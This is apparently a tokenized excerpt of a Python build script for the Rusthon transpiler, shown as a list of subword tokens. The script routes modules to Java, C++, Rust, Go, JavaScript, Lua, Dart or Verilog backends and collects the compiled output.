"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "java", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "java", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "java", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmpdir_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", "==_", "'", "java", "2r", "ust", "hon", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "rcode", "_", "=_", "java", "\\u", "to", "\\u", "rust", "hon", "_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "java", "2r", "ust", "hon", "_", "._", "append_", "(_", "rcode", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "name", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "jp", "ath_", "=_", "os_", "._", "path_", "._", "join_", "(_", "tmpdir_", ",_", "mod_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'/'_", "in_", "mod_", "[_", "'", "name", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "jd", "ir_", ",_", "jn", "ame_", "=_", "os_", "._", "path_", "._", "split_", "(_", "jp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "jd", "ir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "os_", "._", "makedirs_", "(_", "jd", "ir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "open_", "(_", "jp", "ath_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "java", "files_", "._", "append_", "(_", "jp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "raise_", "Syntax", "Error_", "(_", "'", "java", " ", "code", " ", "must", " ", "have", " ", "a", " ", "tag", " ", "header", ":", " ", "`", "java", "2r", "ust", "hon", "`", " ", "or", " ", "a", " ", "file", " ", "path", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "java", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "output_", "[_", "'", "java", "'_", "]_", "._", "append_", "(_", "compile", "\\u", "java_", "(_", "java", "files_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "xml", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "xml", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", "==_", "'", "gw", "is", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "gi", "ws_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "##", " ", "hand", " ", "writt", "en", " ", "bindi", "ngs", " ", "shou", "ld", " ", "get", " ", "saved", " ", "in", " ", "output", " ", "tar", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bindings_", "=_", "compile", "\\u", "gi", "ws", "\\u", "bindings_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modules_", "[_", "'", "c", "++'_", "]_", "._", "append_", "(_", "{_", "'", "code", "'_", ":_", "bindings_", ",_", "'", "index", "'_", ":_", "mod_", "[_", "'", "index", "'_", "]_", "}_", ")_", "##", " ", "gets", " ", "compile", "d", " ", "below_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "output_", "[_", "'", "xml", "'_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "js", "\\u", "merge_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpp", "\\u", "merge_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpp", "\\u", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpp", "\\u", "idi", "rs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpp", "\\u", "defines_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compile", "\\u", "mode_", "=_", "'", "binar", "y", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exe", "name_", "=_", "'", "rust", "hon", "-", "test", "-", "bin", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagg", "ed", "\\u", "trans", "\\u", "src_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "modules_", "[_", "'", "rust", "hon", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "rust", "hon", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "script_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "header_", "=_", "script_", "._", "splitlines_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "backend_", "=_", "'", "c", "++'_", "##", " ", "default", " ", "to", " ", "c", "++", " ", "backend_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "header_", "._", "startswith_", "(_", "'#", "back", "end", ":'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "backend_", "=_", "header_", "._", "split_", "(_", "':'_", ")_", "[_", "-_", "1_", "]_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", " ", "'_", "in_", "backend_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "backend_", ",_", "compile", "\\u", "mode_", "=_", "backend_", "._", "split_", "(_", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'\\\\", "t", "'_", "in_", "backend_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "backend_", ",_", "compile", "\\u", "mode_", "=_", "backend_", "._", "split_", "(_", "'\\\\", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "backend_", "not_", "in_", "'", "c", "++", " ", "rust", " ", "javascript", " ", "go", " ", "veri", "log", " ", "dart", " ", "lua", "'_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "raise_", "Syntax", "Error_", "(_", "'", "invalid", " ", "back", "end", ":", " ", "%", "s", "'_", "%_", "backend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "compile", "\\u", "mode_", "and_", "compile", "\\u", "mode_", "not_", "in_", "'", "binar", "y", " ", "static", "lib", " ", "dynami", "clib", "'_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "raise_", "Syntax", "Error_", "(_", "'", "invalid", " ", "back", "end", " ", "option", " ", "<", "%", "s", ">", " ", "(", "valid", " ", "types", ":", " ", "binar", "y", ",", " ", "static", "lib", ",", " ", "dynami", "clib", ")'_", "%_", "backend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "backend_", "==_", "'", "veri", "log", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "vco", "de_", "=_", "translat", "e\\u", "to", "\\u", "veri", "log_", "(_", "script_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modules_", "[_", "'", "veri", "log", "'_", "]_", "._", "append_", "(_", "{_", "'", "code", "'_", ":_", "vco", "de_", ",_", "'", "index", "'_", ":_", "index_", "}_", ")_", "##", " ", "gets", " ", "compile", "d", " ", "below_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "backend_", "==_", "'", "c", "++'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", "and_", "mod_", "[_", "'", "tag", "'_", "]_", "and_", "'.'_", "not_", "in_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "exe", "name_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "user", " ", "named", " ", "output", " ", "for", " ", "external", " ", "build", " ", "tool", "s", " ", "tha", "t", " ", "need", " ", ".", "h", ",.", "hp", "p", ",.", "cpp", ",", " ", "files", " ", "output", " ", "to", " ", "hard", "code", "d", " ", "path", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", "and_", "(_", "mod_", "[_", "'", "tag", "'_", "]_", "._", "endswith_", "(_", "'.", "h", "'_", ")_", "or_", "mod_", "[_", "'", "tag", "'_", "]_", "._", "endswith_", "(_", "'.", "hp", "p", "'_", ")_", "or_", "mod_", "[_", "'", "tag", "'_", "]_", "._", "endswith_", "(_", "'.", "cpp", "'_", ")_", "or_", "mod_", "[_", "'", "tag", "'_", "]_", "._", "endswith_", "(_", "'.", "cc", "'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "pyj", "s_", "=_", "python", "\\u", "to", "\\u", "python", "js_", "(_", "script_", ",_", "cpp_", "=_", "True_", ",_", "module", "\\u", "path_", "=_", "module", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "use", "\\u", "try_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'--", "no", "-", "except", "'_", "in_", "sys_", "._", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "use", "\\u", "try_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "mod_", "[_", "'", "tag", "'_", "]_", "in_", "gyp", "\\u", "builds_", "._", "keys_", "(_", ")_", ":_", "##", " ", "nw", "-", "gyp", " ", "builds", " ", "with", "out", " ", "c", "++", " ", "exceptions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "use", "\\u", "try_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pak", "_", "=_", "translat", "e\\u", "to", "\\u", "cpp_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "pyj", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cache", "d\\u", "json", "\\u", "files_", "=_", "cache", "d\\u", "json_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "insert", "\\u", "runtime_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", "in_", "gyp", "\\u", "builds_", "._", "keys_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "use", "\\u", "try_", "=_", "use", "\\u", "try_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'--", "debug", "-", "c", "++'_", "in_", "sys_", "._", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "raise_", "Run", "time", "Error_", "(_", "pak", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "pak", " ", "contain", "s", ":", " ", "c\\u", "header", " ", "and", " ", "cpp", "\\u", "header_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "pak", "_", "[_", "'", "main", "'_", "]_", "##", " ", "save", " ", "to", " ", "output", " ", "c", "++", " ", "to", " ", "tar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", "in_", "gyp", "\\u", "builds_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "gyp", "\\u", "builds_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "[_", "'", "src", "'_", "]_", "=_", "pak", "_", "[_", "'", "main", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "user", "-", "header", "s", "'_", "in_", "pak", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "for_", "class", "tag_", "in_", "pak", "_", "[_", "'", "user", "-", "header", "s", "'_", "]_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "class", "header_", "=_", "pak", "_", "[_", "'", "user", "-", "header", "s", "'_", "]_", "[_", "class", "tag_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "header", "file_", "=_", "class", "header_", "[_", "'", "file", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "header", "file_", "in_", "output_", "[_", "'", "datafile", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "header", "file_", "]_", "+=_", "'\\\\", "n", "'_", "+_", "'\\\\", "n", "'_", "._", "join_", "(_", "class", "header_", "[_", "'", "source", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "header", "file_", "]_", "=_", "'\\\\", "n", "'_", "+_", "'\\\\", "n", "'_", "._", "join_", "(_", "class", "header_", "[_", "'", "source", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "cpp", "\\u", "merge_", "._", "append_", "(_", "script_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "link", "s", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cpp", "\\u", "links_", "._", "extend_", "(_", "mod_", "[_", "'", "link", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "include", "-", "dirs", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cpp", "\\u", "idi", "rs_", "._", "extend_", "(_", "mod_", "[_", "'", "include", "-", "dirs", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "defin", "es", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cpp", "\\u", "defines_", "._", "extend_", "(_", "mod_", "[_", "'", "defin", "es", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "backend_", "==_", "'", "rust", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "pyj", "s_", "=_", "python", "\\u", "to", "\\u", "python", "js_", "(_", "script_", ",_", "rust", "_", "=_", "True_", ",_", "module", "\\u", "path_", "=_", "module", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rust", "code_", "=_", "translat", "e\\u", "to", "\\u", "rust", "_", "(_", "pyj", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modules_", "[_", "'", "rust", "'_", "]_", "._", "append_", "(_", "{_", "'", "code", "'_", ":_", "rust", "code_", ",_", "'", "index", "'_", ":_", "index_", "}_", ")_", "##", " ", "gets", " ", "compile", "d", " ", "below_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "backend_", "==_", "'", "go", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "pyj", "s_", "=_", "python", "\\u", "to", "\\u", "python", "js_", "(_", "script_", ",_", "go_", "=_", "True_", ",_", "module", "\\u", "path_", "=_", "module", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "go", "code_", "=_", "translat", "e\\u", "to", "\\u", "go_", "(_", "pyj", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "module", "s", "['", "go", "']", ".", "append", "(", " ", "{", "'", "code", "':", "go", "code", "})", " ", " ", "##", " ", "gets", " ", "compile", "d", " ", "below_", "\\u\\u\\uNL\\u\\u\\u_", "go", "\\u", "main_", "[_", "'", "source", "'_", "]_", "._", "append_", "(_", "go", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "backend_", "==_", "'", "javascript", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", "and_", "mod_", "[_", "'", "tag", "'_", "]_", "._", "endswith_", "(_", "'.", "js", "'_", ")_", ":_", "##", " ", "save", "s", " ", "to", " ", "external", " ", "js", " ", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "js_", "=_", "compile", "\\u", "js_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ",_", "module", "\\u", "path_", ",_", "main", "\\u", "name_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod_", "[_", "'", "build", "'_", "]_", "=_", "{_", "'", "script", "'_", ":_", "js_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagged_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "js_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagg", "ed", "\\u", "trans", "\\u", "src_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "##", " ", "so", " ", "user", " ", "can", " ", "embed", " ", "original", " ", "source", " ", "usi", "ng", " ", "<!", "tagname", ">_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "js_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "output_", "[_", "'", "javascript", "'_", "]_", "._", "append_", "(_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "script", "'_", ":_", "js_", "[_", "name_", "]_", ",_", "'", "index", "'_", ":_", "index_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "js", "\\u", "merge_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "backend_", "==_", "'", "lua", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "pyj", "s_", "=_", "python", "\\u", "to", "\\u", "python", "js_", "(_", "script_", ",_", "lua", "_", "=_", "True_", ",_", "module", "\\u", "path_", "=_", "module", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lua", "code_", "=_", "translat", "e\\u", "to", "\\u", "lua", "_", "(_", "pyj", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "'", "main", ".", "lua", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "name_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "name_", "._", "endswith_", "(_", "'.", "lua", "'_", ")_", ":_", "name_", "+=_", "'.", "lua", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "lua", "'_", "]_", "._", "append_", "(_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "script", "'_", ":_", "lua", "code_", ",_", "'", "index", "'_", ":_", "index_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "backend_", "==_", "'", "dart", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "pyj", "s_", "=_", "python", "\\u", "to", "\\u", "python", "js_", "(_", "script_", ",_", "dart", "_", "=_", "True_", ",_", "module", "\\u", "path_", "=_", "module", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dart", "code_", "=_", "translat", "e\\u", "to", "\\u", "dart", "_", "(_", "pyj", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "'", "main", ".", "dart", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "name_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "name_", "._", "endswith_", "(_", "'.", "dart", "'_", ")_", ":_", "name_", "+=_", "'.", "dart", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "dart", "'_", "]_", "._", "append_", "(_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "script", "'_", ":_", "dart", "code_", ",_", "'", "index", "'_", ":_", "index_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "js", "\\u", "merge_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "tagg", "roup", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "js", "\\u", "merge_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "tagname_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tagname_", "not_", "in_", "tagg", "roup", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "tagg", "roup", "s_", "[_", "tagname_", "]_", "=_", "[_", "]_", 